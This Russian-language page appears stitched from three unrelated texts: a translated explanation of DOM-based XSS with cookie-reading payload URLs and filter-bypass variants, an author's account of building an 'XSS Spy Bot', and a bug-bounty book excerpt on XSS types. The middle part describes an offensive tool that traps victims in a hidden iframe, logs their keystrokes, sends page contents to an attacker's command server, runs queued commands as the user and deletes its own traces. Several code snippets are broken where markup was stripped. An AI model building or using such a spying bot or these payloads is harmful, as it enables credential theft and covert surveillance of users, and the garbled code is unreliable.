Такое xss атака. Использование XSS уязвимостей по максимуму

Все мы знаем, что такое межсайтовый скриптинг, правда? Это уязвимость, при которой атакующий посылает злонамеренные данные (обычно это HTML, содержащий код Javascript), которые позднее возвращаются приложением, что вызывает исполнение Javascript кода. Итак, это неверно! Существует тип XSS атак не соответствующий этому определению, по крайней мере, в основных фундаментальных принципах. XSS атаки, определение которых приведено выше, подразделяются на моментальные (злонамеренные данные встраиваются в страницу, которая возвращается браузеру сразу же после запроса) и отложенные (злонамеренные данные возвращаются через некоторое время). Но есть еще третий тип XSS атак, в основе которого не лежит отправка злонамеренных данных на сервер. Несмотря на то, что это кажется противоречащим здравому смыслу, есть два хорошо описанных примера такой атаки. Эта статья описывает третий тип XSS атак – XSS через DOM (DOM Based XSS). Здесь не будет написано ничего принципиально нового об атаке, скорее новшество этого материала в выделении отличительных черт атаки, которые являются очень важными и интересными.

Разработчики и пользователи прикладных приложений должны понимать принципы атаки XSS через DOM, так как она представляет угрозу для web приложений и отличается от обычного XSS. В сети интернет есть много web приложений уязвимых к XSS через DOM и при этом проверенных на XSS и признанных “неуязвимыми” к этому типу атак. Разработчики и администраторы сайтов должны ознакомиться с методами обнаружения и защиты от XSS через DOM, так как эти методики отличаются от приемов, используемых при работе со стандартными XSS уязвимостями.

Введение

Читатель должен быть знаком с основными принципами XSS атак (, , , , ). Под XSS обычно подразумевается моментальный () и отложенный межсайтовый скриптинг. При моментальном XSS злонамеренный код (Javascript) возвращается атакуемым сервером немедленно в качестве ответа на HTTP запрос. Отложенный XSS означает, что злонамеренный код сохраняется на атакуемой системе и позднее может быть внедрен в HTML страницу уязвимой системы. Как было упомянуто выше, такая классификация предполагает, что фундаментальное свойство XSS состоит в том, что злонамеренный код отсылается из браузера на сервер и возвращается в этот же браузер (моментальный XSS) или любой другой браузер (отложенный XSS). В этой статье поднимается вопрос о том, что это неверная классификация. Возможность осуществления XSS атаки, не основывающейся на внедрении кода в страницу, возвращаемую сервером, оказала бы серьезное влияние на методы защиты и обнаружения. Принципы таких атак обсуждаются в этой статье.

Пример и комментарии

Перед описанием простейшего сценария атаки важно подчеркнуть, что методы, описываемые здесь, уже неоднократно демонстрировались публично (например, , и ). Я не претендую на то, что приведенные ниже методики описываются впервые (хотя некоторые из них имеют отличия от ранее опубликованных материалов).

Признаком уязвимого сайта может служить наличие HTML страницы, использующей данные из document.location, document.URL или document.referrer (или любых других объектов на которые может влиять атакующий) небезопасным способом.

Примечание для читателей незнакомых с этими объектами Javascript: когда код Javascript выполняется в браузере, он получает доступ к нескольким объектам, представленных в рамках DOM (Document Object Model – Объектная Модель Документа). Объект document является главным среди этих объектов и предоставляет доступ к большинству свойств страницы. Этот объект содержит много вложенных объектов, таких как location, URL и referrer. Они управляются браузером в соответствии с точкой зрения браузера (как будет видно ниже, это весьма существенно). Итак, document.URL и document.location содержат URL страницы, а точнее, то, что браузер подразумевает под URL. Обратите внимание, эти объекты не берутся из тела HTML страницы. Объект document содержит объект body, содержащий обработанный (parsed) HTML код страницы.

Не сложно найти HTML страницу, содержащую Javascript код, который анализирует строку URL (получив к ней доступ через document.URL или document.location) и в соответствии с ее значением выполняет некоторые действия на стороне клиенте. Ниже приведен пример такого кода.

По аналогии с примером в рассмотрим следующую HTML страницу (предположим, что это содержание http://www.vulnerable.site/welcome.html ):

Welcome! Hi var pos=document.URL.indexOf("name=")+5; document.write(document.URL.substring(pos,document.URL.length));
Welcome to our system …

Однако запрос наподобие этого –

http://www.vulnerable.site/welcome.html?name=alert(document.cookie)

вызвал бы XSS. Рассмотрим, почему: браузер жертвы, получивший это ссылку, отправляет HTTP запрос на www.vulnerable.site и получает вышеупомянутую (статическую!) HTML страницу. Браузер жертвы начинает анализировать этот HTML код. DOM содержит объект document, имеющий поле URL, и это поле заполняется значением URL текущей страницы в процессе создания DOM. Когда синтаксический анализатор доходит до Javascript кода, он выполняет его, что вызывает модификацию HTML кода отображаемой страницы. В данном случае, код ссылается на document.URL и так как часть этой строки во время синтаксического разбора встраивается в HTML, который сразу же анализируется, обнаруженный код (alert(…)) выполняется в контексте той же самой страницы.

Замечания:

1. Злонамеренный код не встраивается в HTML страницу (в отличие от других разновидностей XSS).
2. Этот эксплойт будет работать при условии, что браузер не модифицирует символы URL. Mozilla автоматически кодирует символы ‘’ (в %3C и %3E соответственно) во вложенных объектах document. Если URL был напечатан напрямую в строке адреса, этот браузер неуязвим для атаки описанной в этом примере. Однако, если для атаки не нужны символы ‘’ (в исходном незакодированном виде) атаку можно осуществить. Microsoft Internet Explorer 6.0 не кодирует ‘’ и поэтому уязвим к описанной атаке без каких-либо ограничений. Однако существует много различных сценариев атаки, не требующих ‘’, и поэтому даже Mozilla не имеет иммунитета к этой атаке.

Методы обнаружения и предотвращения уязвимостей этого типа

В примере выше злонамеренный код все еще передается на сервер (как часть HTTP запроса), поэтому атака может быть обнаружена, так же как и любая другая XSS атака. Но это решаемая проблема.

Рассмотрим следующий пример:

http://www.vulnerable.site/welcome.html#name=alert(document.cookie)

Обратите внимание на символ ‘#’ справа от имени файла. Он говорит браузеру, что все после этого символа не является частью запроса. Microsoft Internet Explorer (6.0) и Mozilla не отправляет фрагмент после символа ‘#’ на сервер, поэтому для сервера этот запрос будет эквивалентен http://www.vulnerable.site/welcome.html, т.е. злонамеренный код даже не будет замечен сервером. Таким образом, благодаря этому приему, браузер не отправляет злонамеренную полезную нагрузку на сервер.

Но все же в некоторых случаях невозможно скрыть полезную нагрузку: в и злонамеренная полезная нагрузка является частью имени пользователи (username) в URL типа http://username@host/. В этом случае браузер отправляет запрос с заголовком Authorization, содержащий имя пользователи (злонамеренная полезная нагрузка), в результате чего злонамеренный код попадает на сервер (закодированный с помощью Base64 – следовательно IDS/IPS для обнаружения атаки должны вначале декодировать эти данные). Однако сервер не обязан внедрять эту полезную нагрузку в одну из доступных HTML страниц, хотя это является необходимым условием выполнения XSS атаки.

Очевидно, что в ситуациях, когда полезная нагрузка может быть полностью скрыта, средства обнаружения (IPS) и предотвращения (IPS, межсетевые экраны для web приложений) не могут полностью защитить от этой атаки. Даже если полезную нагрузку нужно отсылать на сервер, во многих случаях для избежания обнаружения она может быть преобразована определенным образом. Например, если какой-то параметр защищен (к примеру, параметр name в примере выше), небольшое изменение сценария атаки может принести результат:

(document.cookie)

Более строгая политика безопасности требовала бы обязательной отсылки параметра name. В этом случае вы может сделать следующий запрос:

http://www.vulnerable.site/welcome.html?notname=alert(document.cookie)&name=Joe

Если политика безопасности ограничивает дополнительные имена параметров (например: foobar), можно использовать следующий вариант:

http://www.vulnerable.site/welcome.html?foobar=name=alert(document.cookie)&name=Joe

Обратите внимание, что игнорируемый параметр (foobar) должен идти первым и в своем значении содержать полезную нагрузку.

Сценарий атаки, описанный в , еще более предпочтителен для атакующего, так как в HTML страницу пишется полное значение document.location (Javascript код не производит поиск специфичного имени параметра). Таким образом, атакующий может полностью скрыть полезную нагрузку, отправив следующее:

/attachment.cgi?id=&action=foobar#alert(document.cookie)

Даже если полезная нагрузка анализируется сервером, защита может гарантироваться только в том случае, если запрос будет отклонен или ответ будет заменен на некоторый текст ошибки. Обратимся снова к и : если заголовок Authorization будет просто удален промежуточной системой защиты, это не принесет никакого эффекта, если будет возвращена оригинальная страница. Аналогично любая попытка обработки данных на сервере, путем удаления или кодирования запрещенных символов, будет неэффективна против этой атаки.

В случае с document.referrer, полезная нагрузка отсылается на сервер через заголовок Referer. Однако если браузер пользователя или промежуточная защита удалит этот заголовок — не останется никаких следов атаки, которая можно пройти полностью незамеченной.

Подводя итоги, делаем вывод, что традиционные методы, а именно

1. Кодирование данных HTML на стороне сервера
2. Удаление/кодирование запрещенных входных данных на стороне сервера не работают против DOM XSS.

Автоматический поиск уязвимости путем “бомбардировки” злонамеренными данными (иногда называемый fuzzing) не будет работать, так как программы, использующие эту методику, обычно делают выводы на основе того, присутствуют ли внедренные данные в возвращенной странице или нет (вместо выполнения кода в контексте браузера на стороне клиента и наблюдения за результатами). Однако, если программа может статически анализировать код Javascript, обнаруженный на странице, она может указать на подозрительные признаки (см. ниже). И конечно, если средства защиты могут исполнять код Javascript (и корректно инициализировать DOM объекты) или эмулировать такое исполнение, они смогут обнаружить эту атаку.

Ручной поиск уязвимости с помощью браузера также будет работать, так как браузер может выполнять клиентский код Javascript. Средства поиска уязвимостей могут принять на вооружение этот метод и выполнять код на стороне клиента для слежения за результатами его выполнения.
Эффективная защита

Избегать перезаписи документа на стороне клиента, переадресацию или другие подобные действия, использующие данные на стороне клиента. Большинство этих действий может быть выполнено с использованием динамических страниц (на стороне сервера).
2.

Анализ и повышение защищенности кода (Javascript) на стороне клиента. Ссылки на объекты DOM, на которые может влиять пользователь (атакующий), должны быть тщательно проверены. Особое внимание нужно уделять следующим объектам (но не ограничиваться ими):
* document.URL
* document.URLUnencoded
* document.location (и его свойства)
* document.referrer
* window.location (и его свойства)

Обратите внимание: на свойства объектов document и window можно сослаться несколькими способами: явно (пример — window.location), неявно (пример — location) или через получения дескриптора и использования его (пример — handle_to_some_window.location).

Особое внимание нужно уделить коду, где модифицируется DOM, явно или есть потенциальная возможность, а также через прямой доступ к HTML или через доступ непосредственно к DOM. Примеры (это ни в коем случае не исчерпывающий список):
* Запись в HTML код страницы:
o document.write(…)
o document.writeln(…)
o document.body.innerHtml=…
* Изменение DOM напрямую (включая события DHTML):
o document.forms.action=… (и другие вариации)
o document.attachEvent(…)
o document.create…(…)
o document.execCommand(…)
o document.body. … (доступ к DOM через объект body)
o window.attachEvent(…)
* Изменение URL документа:
o document.location=… (а также присвоение значений href, host и hostname объекта location)
o document.location.hostname=…
o document.location.replace(…)
o document.location.assign(…)
o document.URL=…
o window.navigate(…)
* Открытие/модификация объекта window:
o document.open(…)
o window.open(…)
o window.location.href=… (а также присвоение значения host и hostname объекта location)
* Выполнение скрипта напрямую:
o eval(…)
o window.execScript(…)
o window.setInterval(…)
o window.setTimeout(…)

В продолжение вышеупомянутого примера, для эффективной защиты оригинальный скрипт может быть заменен следующим кодом, который проверяет строку, записываемую в HTML страницу на наличие только алфавитно-цифровых символов.

var pos=document.URL.indexOf("name=")+5; var name=document.URL.substring(pos,document.URL.length); if (name.match(/^$/)) { document.write(name); } else { window.alert("Security error"); }

Такая функциональности может быть (и, наверное, должна быть) реализована через универсальную библиотеку контроля данных (т.е. через набор функций Javascript, осуществляющий проверку/модификацию входных данных). Минусом этого способа является то, что принцип работы защиты доступен атакующим, т.к. защита реализована в HTML коде. Это упрощает анализ и планирование атаки. В примере выше ситуация достаточно простая, тогда как проверки защиты в более сложных скриптах далеки от совершенства, что дает возможность поиска путей обхода защиты.
3. Использовать строгие правила IPS, в которых, к примеру, странице welcome.html разрешено получать один единственный параметр, имеющий имя “name”, значение которого проверяется, и любое несоответствие (включая избыточные параметры или отсутствие параметров) приводит к отказу в обслуживании оригинальной страницы, также как и любое другой нарушение (например, заголовки Authorization или Referer, содержащие проблематичные данные). Хотя в некоторых случаях даже такие меры не гарантируют полную защиту от атаки.

Всем давно известно, что чаще всего c помощью XSS атакующий пытается отправить Cookie жертвы, прочитать CSRF токены, провести фишинговую атаку (создав фальшивую форму логина), совершить какое-нибудь действие от имени пользователя и некоторые другие близкие по цели атаки (возможно, это не все возможности, но это все наиболее популярные известные мне на данный момент).

Цель этого метода — мониторить страницы от имени пользователя, по которым он переходит на атакуемом сайте, а также мониторить его нажатия клавиш (можно еще движения и клики мышкой, но по мне так это будет лишней, не особо полезной инфой, в большинстве случаев точно).
Теперь по поводу максимальной пользы — я считаю, что алгоритм будет такой:

читаем и отправляем Cookie;
читаем и отправляем остальную инфу (IP-адрес, установленные плагины, версия и вид браузера, поддержка flash, поддержка silverlight и пр.) [опционально]
добываем сведение о внутренней сети, пробиваем роутер [опционально]
читаем и отправляем разные токены [опционально];
реализовываем фишинг [опционально];
делаем что-то «руками»» юзера [опционально];
продолжаем шпионить за ним и добывать инфу, пока он не закрыл вкладку или не ушел с сайта;

Все опциональные пункты списка имхо должны выполняться в зависимости от ситуации и конкретных приоритетах в целях, которых надо достичь при помощи XSS, они иногда могут мешать друг другу (если попытаться их скомбинировать, точнее выполнить один за другим) и увеличивают вероятности провала эксплуатации XSS.
Но вот первый и последний пункты выполнять стоит всегда, при любом раскладе.Собственно основная часть статьи будет про последний пункт из этого списка.

Подходим к цели.

Начну издалека: через JavaScript есть возможность изменять путь в адресной строке без перезагрузки страницы. Например, если пользователь загрузил страницу по адресу

То в адресной строке содержание станет следующим (без перезагрузки страницы):

http : //site.com/new-url/

Эта возможность, кстати, иногда бывает довольно полезной, когда от пользователей (или более внимательной категории юзеров — админов) надо скрыть быстро почистить URL после того, как он перешел по ссылке, где содержалась Reflected XSS, чтобы он потом, после загрузки страницы, посмотрев в адресную строку, ничего не обнаружил.

http : //site.com/search.php?q=123 document . body . innerHTML += "Hacked" ;

http : //site.com/search.php?q=123 window . history . pushState ("" , "" , "/" ) ; document . body . innerHTML += "Hacked" ;

мы лишим его этой возможности.

Но у этой техники есть еще более интересное и мощное применение. Мы будем имитировать юзеру его пребывание на сайте после перехода по ссылке, на самом деле он будет оставаться на одной странице все время, а в это время будет работать сторонний скрипт, добывающий и отсылающий инфу атакующему. Таким образом,XSS будет работать на протяжении всего времени, пока юзер переходит по ссылка на этом домене .

Обозначаем идею.

Общий принцип работы такой: когда юзер заходит на страницу с XSS, скрипт создает iframe с таким же адресом, как это страница и «прикрепляет» его на первый план, у пользователя создается впечатление, будто страница загрузилась нормально, ведь iframe можно увидеть только в коде страницы.

А вспомогательный скрипт контролирует логику бота-шпиона, то есть следит за тем, когда во фрейме поменяется адрес, чтобы поменять его в адресной строке, если же в новоизмененном адресе фрейма другой домен, то можно открыть его на новой влкадке, или же придется перезагружать страницу, чтобы не спалиться.
Таким образом, чтобы XSS перестала выполняться в данный момент, юзер должен или обновить страницу вручную (если XSS — Reflected и передавалась методом POST, в остальных случаях обновление не спасет, и кстати некоторые браузеры сейчас при обновлении старницы могут опять отправить POST запрос повторно) или закрыть вкладку или перейти на другой домен (хотя в этом случае еще можно избежать потери управления).

Если он переходит в поддомент атакуемого домена, то тут выбор атакующего, то есть XSS будет работать, но есть небольшая вероятность, что юзер просечет несоответствие между адресом. Думаю, что тут по ситуации, например, если атаковался домен google.ru, юзер перешел в облачный файловый сервис гугла, который обычно лежит в поддомене drive.google.ru, то вероятность того, что он заметит подвох при взгляде в адресную строку довольно высока,если он часто пользовался этим сервисом . Иначе можно и рискнуть. Но надо учесть, что читать его данные из фрейма с поддоменом мы уже не сможем, так как Cross Origin Policy не позволит. Зато можем преспокойно полазить по основному домену от его имени в скрытом режиме (нижу будет об этом поподробнее).

Только у данного метода есть ограничения, а именно — он не будет работать, если в ответах веб-сервера сайта есть заголовокX-Frame-Options со значениемDENY . Но лично я такие сайты встречал буквально пару раз, сейчас даже у половиныSAMEORIGIN не выставлен, не говоря уже о полном ограничении черезDENY .

Анализируем идею.

Сейчас многие наверняка вспомнили такую замечательную штуку, какBeEF , в котором есть тоже очень много интересных вещей. Так кстати тоже есть опция форсированного редиректа юзера во фрейме, вот только адрес в адресной строке не изменяется, что может быстро спалить конторку и эта опция немного для других целей служит.
В целом в BeEF’e есть почти все, что необходимо и даже много дополнительных функций, но лично мне хотелось дополнительного функционала, а именно:

возможность мониторить код страниц, которые доступны атакуемому юзеру в реальном времени;
возможность смотреть все, что он набирает на том сайте (от логина и пароля, до хоткейев и сообщений), то есть keylogger на JS;
возможность давать команды на JS своему боту в реальном времени, после просмотра кода полученных страниц;
возможность оставлять боту команды локально, чтобы он потом их «забирал» и выполнял без прямого нашего участия;
более маленькая вероятность спалиться боту, или возможность бота «прятаться» от любопытных глаз;

Как было упомянуто выше — решил позаимствовать у BeEF’a классную идею очереди выполнения комманд. Например, были проанализированы страницы, которые скинул бот, когда привелегированный юзер лазил у себя в панеле управления со stored XSS, мы оставляем боту команды — JS-код, типа в следующий раз когда юзер зайдет, нажми эту кнопку, запиши сюда такое значение и тд, когда этот юзер в следующий раз заходит на страницу, бот читает команды и выполняет их, а нам во все не обязательно быть у его штурвала — очень удобно.

В основном такой бот, конечно расчитан для статусных юзеров каких-нибудь сайтов, у которых есть дополнительные «рычаги» управления контентом, другими юзерами и тд. Из запросов по функционалу видно, что без серверной части не обойтись.

Реализуем идею.

Данную часть статьи в принципе можно пропустить, так как она просто описывает процесс реализации нужного бота и некоторые его детали, на случай, если кто-то захочет его переделать или допилить под себя. Хотя у бота в начале кода будут переменные, через которые можно выставить некоторые настройки.
Сначала алгоритм действий бота с момента загрузки:

1) Проверка наличия заголовкаX-Frame-Options:DENY (если есть, то свертываем удочки);
2) Встраивание фрейма и настройка всех компонентов бота;
3) Удаление скрипта и всех следов в HTML-коде;
4) Налаживание контакта с сверверной частью и начало перессылки данными, реагируя на ответы (получая от сервера команды);

Первый пункт сделал не совсем полноценно, то есть бот проверяет только первую страницу и корневую заголовка. Дело в том, что обычно эти заголовки встраиваются веб-сервером и для всех страниц сразу и очень редко, что для отдельной страницы все делается «вручную». Да и этот заголовок сам по себе довольно редок. Ну а по второму и третьему особо говорить нечего, ниже все будет.

Есть относительно важный момент, что перед добавлением кода скрипта бота в своем коде надо избавляться от признаков XSS в адресной строке сразу (от JS кода), так как это уменьшает шансы на обнаружение и самое галвное — предотвращает рекурсию, которая возникает при добавлении во фрейм адреса с тем же XSS кодом, который в свою очередь создает еще один фрейм с собой и тд.

Но на всякий случай в коде бота реализована возможность детекта такой фреймовой рекурсии и предотвращения при первой же попытке добавления фрейма в уже созданный, но лучше не надеятся только на нее, а дополнительно удалять код перед загрузкой кода бота. Хотя я проблем еще не встречал.

Функция проверки обновления фрейма. Перепробовал несколько способов экономно решить эту проблему с помощью вешания обработчиков событий наcontentWindow илиcontentDocument , но ничего не удалось, поэтому пришлось писать функцию, которая чекала бы адрес фрейма и сравнивала его с сохраненным до этого, и на основе этого решала, обновиляется ли фрейм (изменился ли адрес) и потом сама себя рекурсивно вызывала.

Частота таких проверок в секунду регулируется переменнойdelay , которая указана в начале файла кода бота. Но позже, уже написав ее, нашел более эффективное решение — использовать простое решение и повеситьonload на фрейм, так что ту функцию я оставил, но закомментировал, на случай, если она потом окажется более востребованной.

Отправка HTML-кода страницы.

Тут схема довольно простоя — после каждой перезагразуки фрейма (включая перую прогрузку) бот отправляет на сервер весь HTML-код страницы вместе с текущем ее адресом, чтобы потом можно было отличать принадлежность кода к нужным страницам.

На сервере реализована логика складирования страниц — сервер для каждого домена создает папку с названием этого домена и туда сохраняем все данные. Коды страниц сохраняются и постоянно обновляются на актуальные версии, но при этом каждый новый день создается уже новая копия страницы, чтобы можно было при необходимости контролировать историю версий. То есть для/news.php 1 сентября состояние будет обновляться, а уже 2 сентября будет создана ее копия, только актуальная уже на этот день и так с каждым днем заново (если юзер посещает эту страницу каждый день). Название страницы состоит из даты и путя до этой страницы относительно корня сайта (то есть без домена).

Кейлоггер на JavaScript’e.

Идея уже была реализована некоторыми энтузиастами, но для меня их наработки не подходили, хотя бы потому что большинство из них были довольно простыми, то есть детектили код нажатой клавиши и черезString.fromCharCode переводили в символы. Но у такого метода ряд недостатков — управляющие клавиши типа шифта, контрола, пробела и пр, не переводятся ни в какой вид (часто просто в пустой символ), взаимодействие цифро-буквенных клавиш с шифтом некорректно логируется, так как это надо реализовывать программно, а также все нажатые клавиши отображаются в верхнем регистре, что тоже исправлять программно.

В итоге получился кейлоггер, который корректно детектил все клавиши цифр, букв и основных знаков, работая на обоих раскладках, реагирую на шифт и логгируя все основные специальные клавиши. Правда некоторые знаки (в верхней части цифрового ряда, которые печатаются при нажатом шифте и цифре), на некоторых машинах могут отличаться, так как были реализованы по основным стандартом, которые некоторым некоторые компании изменяют.
Каждая порция нажатых символов сохраняется у клиента до тех пор, пока текстовый элемент не потеряет фокус. Далее эта порция отправляется на сервер, где сохраняется в текстовом файле, который также будет создаваться каждый день с новой копией, чтобы не было роста до больших размеров и можно было быстро найти, что юзер набирал в такое время.
По мимо самих клавиш на сервер отправляется с каждой порцией информация об элементе, в котором набирался текст (то есть был ли это, [ или какой-нибудь когда юзер пользовался хоткеями), помимо названия элемента отправляется его основные данные (id, name, class — если они пристутствуют), чтобы его потом можно было легко найти в коде. Ну и конечно же записывается адрес страницы, на которой был набор и примерное время этого набора. В общем информации о стучании юзера по клавиатуре отправляется вполне достаточно для последующего ее разбора.

Командование своим ботом.

Этот процесс может осуществляться атакующим или на стороне, где запущет серверная часть бота или даже удаленно. После запуска серверного скрипта, стартует самописный миниатюрный веб-сервер, который обслуживает запросы бота и его контролера, который работает через веб-интерфейс. То есть после запуска веб-сервер выдает ссылку, зайдя по которой можно начать отдавать команды боту.

Об этой панеле управления. Во-превых, надо было ограничить ее паролем (путь и мало кто будет знать о запущенном сервисе на таком-то порту или об адресе, по которому надо зайти, чтобы этим сервисом воспользоваться), так что при первом заходе сервер запросит пароль, который подается в адресной строке (пример будет указан), подлинник пароля храниться вpassword.txt , который можно поменять. После первого захода веб-сервер даст команду браузеру сохранить пароль в cookie, так что дальше об этом можно не беспокоиться.

На самой странички высылания команд боту находится также информация о состоянии бота — онлайн или оффлайн он на данный момент, и пару настроек, первая из которых — хост, то есть IP-адрес или домен сайта, боту которого будут отправлены команды. Это расчитано на случай, если несколько сайтов будут содержать этого бота, чтобы можно было их идентифицировать. На сервере также для этого случая все данные разделены по папкам с названиями доменов.
Далее идет окно, где писать команды боту на JS, и опция, которыя устанавливает, где будет исполняться этот JS-код, на главном окне, где сидит бот или во фрейме — это сделано для удобстве, на всякий случай.

Если бота онлайн нет, то сервер просто сохраняет команды и позже, когда бот выходит в онлайн, то есть юзер снова посещает страничку с ним или переходит по ссылке атакующего — эти команды будут исполнены.
Это очень удобно, если при первой разведке бот скинул все посещенные юзером страницы (например личного кабинета), изучив код которых мы составили команды на JS, чтобы потом бот щелкнул по нужным нам ссылкам, ввел нужные данные, отобразил нужные картинки и пр, что поможет достичь поставленной цели.

А можно прямо в режиме реального вермени, быстро смотреть содержимое страниц через код и отдавать боту команды, чтобы тот прислал код других страниц, перешел по другому адресу и пр. И все это будет делаться «за ширмой» у юзера, который преспокойно будет серфить по сайту чере фрейм.

Для своего удобства можно формировать наиболее часто используемые инструкции в целые функции на JS, которые потом заносить в исходный файл боты (xsb.js , о файловой структуре еще будет ниже) и использовать. Или использовать уже те из функций, который заложены в бота, правда там только основа и ничего нового нет, но например можно воспользоваться функцией отправки кода страницы в любой момент времени, а не тогда, когда перезагружается фрейм. Можно написать функцию, которая будет открывать передаваемые ей ссылки в новых фреймах на заднем плане, чтобы просматривать содержимое стразу нескольких страничек от имени юзера (и оперировать этим содержимое его виртуальными руками).

Удаление собственного кода.

Ну и последняя возможность реализуется довольно просто (ее можно отключить, задав нужную переменную в файле, они откомментированы). Скрипт, после настройки и вешания всех обработчиков событий, создания всех переменных и функций сам себя удаляет

Ведь все данные уже были загружены в оперативную память через браузер, так что беспокоиться не о чем, но это в теории, может потом и будут какие-то проблемы, которые я не учел, так что я воздал переменну, которой можно отключить эту возможность по необходимости.

После удаления всех скриптов заметить XSS будет крайне сложно, так как наличия фрейма ни говорит об это довольно косвенно, а сам код можно найти разве что в логах истории сетевого трафика браузера (которые не ведуться по умолчению во многих браузерах, если не открыта панель разработчика).

Серверная часть.

Для более простого и удобного способа запуска бота было решено писать свой маленький веб-сервер на сокетах, который бы обслуживал бота, обеспечивал все операции по принятию и размещению присланных данных, передавал бы сообщения между атакующим и ботом и создавал бы атакующему веб-интерфейс для командования.
Писался сервер на питоне, я тарался использовать только стандартные библиотеки, чтобы не надо было ничего устанавливать перед запуском. Также сервер сам правит некоторые данные в скриптах, то есть в JS-скрипте бота не надо устанавливать адрес командующего сервера, веб-сервер сам выставит туда нужный при запуске. В конфигурирвоании сервера есть толкьо один параметр — порт, на котором он запуститься (по умолчанию 8000).
После запуска сервер выдаст все необходимые данные — ссылку на JS-скрипт, которую надо будет подсунуть, ссылку на панель командования, точнее ссылки — на внешний и локальный адреса, для удобства.

Схема работы с ботом.

Запускаем сервер на каком-нибудь невостребованном порту и можно рассылать ссылку со скриптом бота, далее все, кто по ней перейдут будут отсылать вам данные, которые сервер будет сохранять в любое время дня. Потом можно просто их просмотреть, если есть необходимость оставить боту команды и дальше заниматься своими делами.

Файловая структура.

В папке есть следующие файлы:

xsb.py — основной файл, который реализует серверную часть, для работы бота запускить его, а дальше просто использовать предлагаемую им ссылку;
xsb.js — здесь храниться JS код бота, ссылку на который выдает сервер, в его начале объявлены конфигурационные переменные, которые можно изменить по своему усмотрению (некоторые, а именно хост и порт сервер выставит потом сам, можно не париться);
panel.html — отсюда сервер берет код для панели управления ботом, можно подправить интерфейс на свое усмотрение;
password.txt — тут храниться пароль от панели управления, которые можно поменять;
savedData — это директория, в которой будут создаваться папки с доменами сайтов, в которые будет сохраняться вся информация.

Еще раз замечу, что в файлеxsb.js можно добавлять свои функции, которые потом вызывать через панель, не расписывая громадные порции кода;

Небольшой анализ итогов.

После написания свое придуманного способа удержания юезра на странице с XSS через фреймы (ну как придуманного — я его лично для себя открыл, вполне возможно, что кто-то еще для себя эту же технику «изобретал» или она вообще уже где-то в паблике светилась, ведь сейчас уже разработать что-то по-настоящему новое довольно сложно, и как правило через какое-то время обнаруживаешь, что «это уже было в Симпсонах») я начал более детально копаться в BeEF’e и читать его wiki. После чего обнаружил, что там была реализована другая техника достижения той же цели — продления времени польователя на странице с исполняемой XSS (которую там именовалиman-in-the-browser ). А реализовывалась так: все ссылки на первоначальной странице изменялись таким образом, что при клике на любую из них скрипт не перезагружал страницу, а через Ajax отправлял запрос на сервер и вставлял полученные в ответе данные, то есть можно сказать искуственно обновлял ее, что было также почти неотличимо от обычного рефреша.

Поэтому мне не первому удалось эту задумку реализовать (пусть даже и способы оказались разными). Но у обоих этих методов есть свои недостатки:

Способ подгрузки через не работает при наличии заголовка в ответеX-Frame-Options:DENY , зато в остальном пашет, как обычное окно браузера;

Способ подругзки через ajax работает всегда, если браузер поддерживает это (сейчас все основные барузеры поддерживают), но при этом с новым стандартом Web 2.0 все больше и больше переходов инициируется кастомными событиями любых элементов через JS. Однажды зашел наGoogle AdWords и решил посмотреть, как там у них HTML и JS взаимодействуют, потому что все мои спайдеры крайне плохо справлялись с созаднием карты этого сервиса. И я тихо охреневал весь вечер, насколько там все не привычно было, когда текстовые элементы являлись и кнопками и свитчерами и слайдерами и чем только не изображались, и на каждом висело где-то по 30 обработчиков разных событий.

То есть на навороченном сайте кнопка перехода (субъективно ссылка) будет реализована через обычный тег , который нагружен стилями и на которого навешано обработчиков событий, один из которых, например,onclick перенаправляет юзера на другую страницу. Также есть стандартные элементы типа [i] или сам и пр., которые тоже фактически являются ссылками на другие страницы, но на которые BeEF реагировать не будет и страница просто не будет обновляться при клике на большинство кнопок и других элементов. Что может побудить пользователя обновить страницу или перезайти «с другой стороны», что убивает нашу активную XSS-сессию.

Для краткости именования файлов назвал его — Xss Spy Bot.

P.S.
Все это дело писалось чуть больше месяца в силу периодической нехватки времени и постоянных отвлекающих факторов. Так же из-за этого и качетсво кода и вероятность нарваться на какой-нибудь баг довольно высока. Так что прошу особо не ругаться, а отписываться, что у кого не так, чтобы можно было это исправить.
Сам я протестировал бота только на 4 машинах, на всех стоял Debian.

В дальних планах на этого бота, если будет мотивация:
— реализовать рендеринг кода страниц, которые бот присылает на сервер, чтобы сразу в браузере открывался и его можно было «щупать», тестить на лету;
— попробоват словить плюшек с технологии WebRTC, то есть найти способы добыть новую информацию, которая чистым JS не вытягивается;
— реализовать общение бота и сервера по протоколу WebSocket поверх HTTP;
— добавить некоторые удобства на панель управления;

Last updated by at Ноябрь 18, 2016 .

Межсайтовый скриптинг, или Cross site scripting, или XSS, предполагает наличие сайта, подключающего непредусмотренный код Javascript, который, в свою очередь, передается пользователям, исполняющим этот код в своих браузерах. Безобидный пример XSS (именно такой вы должны использовать!) выглядит так:

alert(‘XSS’);

Это создаст вызовет функцию Javascript alert и создаст простое (и безобидное) окошко с буквами XSS. В предыдущих версиях книги я рекомендовал вам использовать этот пример при написании отчетов. Это было так, пока один чрезвычайно успешный хакер не сказал мне, что это был “ужасный пример”, объяснив, что получатель отчета об уязвимости может не понять опасность проблемы и из-за безобидности примера выплатить небольшое вознаграждение.

Таким образом, используйте этот пример для обнаружения XSS-уязвимости, но при составлении отчета подумайте о потенциальном вреде, который может нанести уязвимость и объясните его. Под этим я не подразумеваю рассказ компании о том, что же такое XSS, но предлагаю объяснить, чего вы можете добиться, используя уязвимость и как конкретно это могло отразиться на их сайте.

Существует три различных вида XSS, о которых вы могли слышать при исследовании и написании отчетов:

Reflective XSS: эти атаки не сохраняются на сайте, что означает создание и выполнение XSS в одном запросе и ответе.
Stored XSS: эти атаки сохраняются на сайте и зачастую более опасны. Они сохраняются на сервере и выполняются на “нормальных” страницах ничего не подозревающими пользователями.
Self XSS: эти атаки также не сохраняются на сайте и обычно используются как часть обмана человека с целью запуска XSS им самим.Когда вы ищете уязвимости, вы обнаружите, что компании зачастую не заботятся об устранении Self XSS, они беспокоятся только о тех случаях, когда вред их пользователям может быть нанесен не ими самими, а кем-либо еще, как в случае с Reflective и Stored XSS. Однако, это не значит, что вы не должны искать Self XSS.

Если вы нашли ситуацию, в которой Self XSS может быть выполнен, но не сохранен, подумайте о том, как может быть использована эта уязвимость, сможете ли вы использовать её в комбинации с чем-либо, чтобы она уже не была Self XSS?

